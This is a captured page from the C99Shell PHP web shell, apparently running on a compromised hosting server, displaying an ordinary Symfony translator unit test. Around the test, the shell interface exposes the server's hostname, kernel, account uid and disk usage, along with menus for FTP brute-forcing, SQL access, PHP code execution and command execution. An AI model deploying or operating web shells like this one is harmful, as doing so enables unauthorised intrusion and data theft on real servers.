!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php54/usr/share/pear/test/Translation/Symfony/Component/Translation/Tests/   drwxr-xr-x
Free 293.48 GB of 429.69 GB (68.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     IdentityTranslatorTest.php (3.08 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Translation\Tests;

use 
Symfony\Component\Translation\IdentityTranslator;

class 
IdentityTranslatorTest extends \PHPUnit_Framework_TestCase
{
    
/**
     * @dataProvider getTransTests
     */
    
public function testTrans($expected$id$parameters)
    {
        
$translator = new IdentityTranslator();

        
$this->assertEquals($expected$translator->trans($id$parameters));
    }

    
/**
     * @dataProvider getTransChoiceTests
     */
    
public function testTransChoiceWithExplicitLocale($expected$id$number$parameters)
    {
        
$translator = new IdentityTranslator();
        
$translator->setLocale('en');

        
$this->assertEquals($expected$translator->transChoice($id$number$parameters));
    }

    
/**
     * @dataProvider getTransChoiceTests
     */
    
public function testTransChoiceWithDefaultLocale($expected$id$number$parameters)
    {
        \
Locale::setDefault('en');

        
$translator = new IdentityTranslator();

        
$this->assertEquals($expected$translator->transChoice($id$number$parameters));
    }

    public function 
testGetSetLocale()
    {
        
$translator = new IdentityTranslator();
        
$translator->setLocale('en');

        
$this->assertEquals('en'$translator->getLocale());
    }

    public function 
testGetLocaleReturnsDefaultLocaleIfNotSet()
    {
        
$translator = new IdentityTranslator();

        \
Locale::setDefault('en');
        
$this->assertEquals('en'$translator->getLocale());

        \
Locale::setDefault('pt_BR');
        
$this->assertEquals('pt_BR'$translator->getLocale());
    }

    public function 
getTransTests()
    {
        return array(
            array(
'Symfony2 is great!''Symfony2 is great!', array()),
            array(
'Symfony2 is awesome!''Symfony2 is %what%!', array('%what%' => 'awesome')),
        );
    }

    public function 
getTransChoiceTests()
    {
        return array(
            array(
'There are no apples''{0} There are no apples|{1} There is one apple|]1,Inf] There are %count% apples'0, array('%count%' => 0)),
            array(
'There is one apple''{0} There are no apples|{1} There is one apple|]1,Inf] There are %count% apples'1, array('%count%' => 1)),
            array(
'There are 10 apples''{0} There are no apples|{1} There is one apple|]1,Inf] There are %count% apples'10, array('%count%' => 10)),
            array(
'There are 0 apples''There is 1 apple|There are %count% apples'0, array('%count%' => 0)),
            array(
'There is 1 apple''There is 1 apple|There are %count% apples'1, array('%count%' => 1)),
            array(
'There are 10 apples''There is 1 apple|There are %count% apples'10, array('%count%' => 10)),
            
// custom validation messages may be coded with a fixed value
            
array('There are 2 apples''There are 2 apples'2, array('%count%' => 2)),
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0935 ]--